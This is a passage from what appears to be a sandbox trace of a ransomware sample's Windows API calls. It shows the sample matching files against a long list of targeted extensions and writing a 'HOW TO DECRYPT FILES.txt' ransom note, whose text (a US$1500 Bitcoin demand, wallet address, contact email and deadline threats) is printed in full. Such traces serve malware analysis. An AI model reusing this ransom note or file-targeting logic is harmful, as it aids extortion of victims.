(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.nd") returned 0 [0108.185] lstrlenA (lpString="*.nd") returned 4 [0108.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.tlg") returned 0 [0108.185] lstrlenA (lpString="*.tlg") returned 5 [0108.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.lgb") returned 0 [0108.185] lstrlenA (lpString="*.lgb") returned 5 [0108.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.mov") returned 0 [0108.185] lstrlenA (lpString="*.mov") returned 5 [0108.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.xdw") returned 0 [0108.185] lstrlenA (lpString="*.xdw") returned 5 [0108.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.ods") returned 0 [0108.186] lstrlenA (lpString="*.ods") returned 5 [0108.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.wav") returned 0 [0108.186] lstrlenA (lpString="*.wav") returned 5 [0108.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.mp3") returned 0 [0108.186] lstrlenA (lpString="*.mp3") returned 5 [0108.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.aiff") returned 0 [0108.186] lstrlenA (lpString="*.aiff") returned 6 [0108.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.flac") returned 0 [0108.186] lstrlenA (lpString="*.flac") returned 6 [0108.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.m4a") returned 0 [0108.186] lstrlenA (lpString="*.m4a") returned 5 [0108.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.csv") returned 0 [0108.186] lstrlenA (lpString="*.csv") returned 5 [0108.186] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30fd8337, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30fd8337, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9f13d990, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x11dc00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.186] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.187] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6096f9a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6096f9a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6096f9a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="154860df057d588035a8c66a65ea31e7", cAlternateFileName="154860~1")) returned 1 [0108.187] lstrcmpA (lpString1=".", lpString2="154860df057d588035a8c66a65ea31e7") returned -1 [0108.187] lstrcmpA (lpString1="..", lpString2="154860df057d588035a8c66a65ea31e7") returned -1 [0108.187] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\*.*") returned="*.*" [0108.187] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\", lpString2="154860df057d588035a8c66a65ea31e7" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7" [0108.187] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7") returned 100 [0108.187] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6096f9a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6096f9a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6096f9a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.187] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.188] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6096f9a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6096f9a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6096f9a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.188] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.188] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.188] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30f65f26, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30f65f26, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9e152652, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x7f800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.Interop.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.188] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.188] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.MediaCenter.Interop.ni.dll") returned -1 [0108.188] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.MediaCenter.Interop.ni.dll") returned -1 [0108.188] lstrcmpiA (lpString1="", lpString2="Microsoft.MediaCenter.Interop.ni.dll") returned -1 [0108.188] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\*.*") returned="*.*" [0108.188] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\" [0108.188] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\") returned="" [0108.188] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\HOW TO DECRYPT FILES.txt" [0108.188] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.mediacent#\\154860df057d588035a8c66a65ea31e7\\how to decrypt files.txt")) returned 0xffffffff [0108.188] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.mediacent#\\154860df057d588035a8c66a65ea31e7\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.193] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0108.193] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0108.195] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.195] CloseHandle (hObject=0x90) returned 1 [0108.195] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\", lpString2="Microsoft.MediaCenter.Interop.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll" [0108.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.ems") returned 0 [0108.195] lstrlenA (lpString="*.ems") returned 5 [0108.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.db") returned 0 [0108.196] lstrlenA (lpString="*.db") returned 4 [0108.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.dbf") returned 0 [0108.196] lstrlenA (lpString="*.dbf") returned 5 [0108.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.myox") returned 0 [0108.196] lstrlenA (lpString="*.myox") returned 6 [0108.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.myo") returned 0 [0108.196] lstrlenA (lpString="*.myo") returned 5 [0108.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.qbw") returned 0 [0108.196] lstrlenA (lpString="*.qbw") returned 5 [0108.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.qbb") returned 0 [0108.196] lstrlenA (lpString="*.qbb") returned 5 [0108.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.qbm") returned 0 [0108.196] lstrlenA (lpString="*.qbm") returned 5 [0108.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.qbo") returned 0 [0108.196] lstrlenA (lpString="*.qbo") returned 5 [0108.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.qbx") returned 0 [0108.196] lstrlenA (lpString="*.qbx") returned 5 [0108.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.qba") returned 0 [0108.197] lstrlenA (lpString="*.qba") returned 5 [0108.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.qby") returned 0 [0108.197] lstrlenA (lpString="*.qby") returned 5 [0108.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.qbj") returned 0 [0108.197] lstrlenA (lpString="*.qbj") returned 5 [0108.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.ofx") returned 0 [0108.197] lstrlenA (lpString="*.ofx") returned 5 [0108.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.qif") returned 0 [0108.197] lstrlenA (lpString="*.qif") returned 5 [0108.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.mye") returned 0 [0108.197] lstrlenA (lpString="*.mye") returned 5 [0108.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.mbox") returned 0 [0108.197] lstrlenA (lpString="*.mbox") returned 6 [0108.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.eml") returned 0 [0108.197] lstrlenA (lpString="*.eml") returned 5 [0108.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.pst") returned 0 [0108.197] lstrlenA (lpString="*.pst") returned 5 [0108.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.ost") returned 0 [0108.198] lstrlenA (lpString="*.ost") returned 5 [0108.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.idx") returned 0 [0108.198] lstrlenA (lpString="*.idx") returned 5 [0108.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.dbx") returned 0 [0108.198] lstrlenA (lpString="*.dbx") returned 5 [0108.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.sql") returned 0 [0108.198] lstrlenA (lpString="*.sql") returned 5 [0108.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.mdb") returned 0 [0108.198] lstrlenA (lpString="*.mdb") returned 5 [0108.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.fdb") returned 0 [0108.198] lstrlenA (lpString="*.fdb") returned 5 [0108.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.wab") returned 0 [0108.198] lstrlenA (lpString="*.wab") returned 5 [0108.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.dat") returned 0 [0108.198] lstrlenA (lpString="*.dat") returned 5 [0108.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.txt") returned 0 [0108.198] lstrlenA (lpString="*.txt") returned 5 [0108.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.jpeg") returned 0 [0108.199] lstrlenA (lpString="*.jpeg") returned 6 [0108.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.jpg") returned 0 [0108.199] lstrlenA (lpString="*.jpg") returned 5 [0108.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.png") returned 0 [0108.199] lstrlenA (lpString="*.png") returned 5 [0108.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.php") returned 0 [0108.199] lstrlenA (lpString="*.php") returned 5 [0108.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.cs") returned 0 [0108.199] lstrlenA (lpString="*.cs") returned 4 [0108.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.cpp") returned 0 [0108.199] lstrlenA (lpString="*.cpp") returned 5 [0108.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.rar") returned 0 [0108.199] lstrlenA (lpString="*.rar") returned 5 [0108.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.zip") returned 0 [0108.199] lstrlenA (lpString="*.zip") returned 5 [0108.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.html") returned 0 [0108.199] lstrlenA (lpString="*.html") returned 6 [0108.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.htm") returned 0 [0108.199] lstrlenA (lpString="*.htm") returned 5 [0108.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.xlsx") returned 0 [0108.200] lstrlenA (lpString="*.xlsx") returned 6 [0108.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.xls") returned 0 [0108.200] lstrlenA (lpString="*.xls") returned 5 [0108.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.mp4") returned 0 [0108.200] lstrlenA (lpString="*.mp4") returned 5 [0108.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.ppt") returned 0 [0108.200] lstrlenA (lpString="*.ppt") returned 5 [0108.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.pptx") returned 0 [0108.200] lstrlenA (lpString="*.pptx") returned 6 [0108.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.doc") returned 0 [0108.200] lstrlenA (lpString="*.doc") returned 5 [0108.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.dot") returned 0 [0108.200] lstrlenA (lpString="*.dot") returned 5 [0108.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.docx") returned 0 [0108.200] lstrlenA (lpString="*.docx") returned 6 [0108.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.7z") returned 0 [0108.200] lstrlenA (lpString="*.7z") returned 4 [0108.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.tar") returned 0 [0108.200] lstrlenA (lpString="*.tar") returned 5 [0108.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.bz2") returned 0 [0108.201] lstrlenA (lpString="*.bz2") returned 5 [0108.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.gz") returned 0 [0108.201] lstrlenA (lpString="*.gz") returned 4 [0108.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.mkv") returned 0 [0108.201] lstrlenA (lpString="*.mkv") returned 5 [0108.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.eml") returned 0 [0108.201] lstrlenA (lpString="*.eml") returned 5 [0108.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.msg") returned 0 [0108.201] lstrlenA (lpString="*.msg") returned 5 [0108.201] PathMatchSpecA 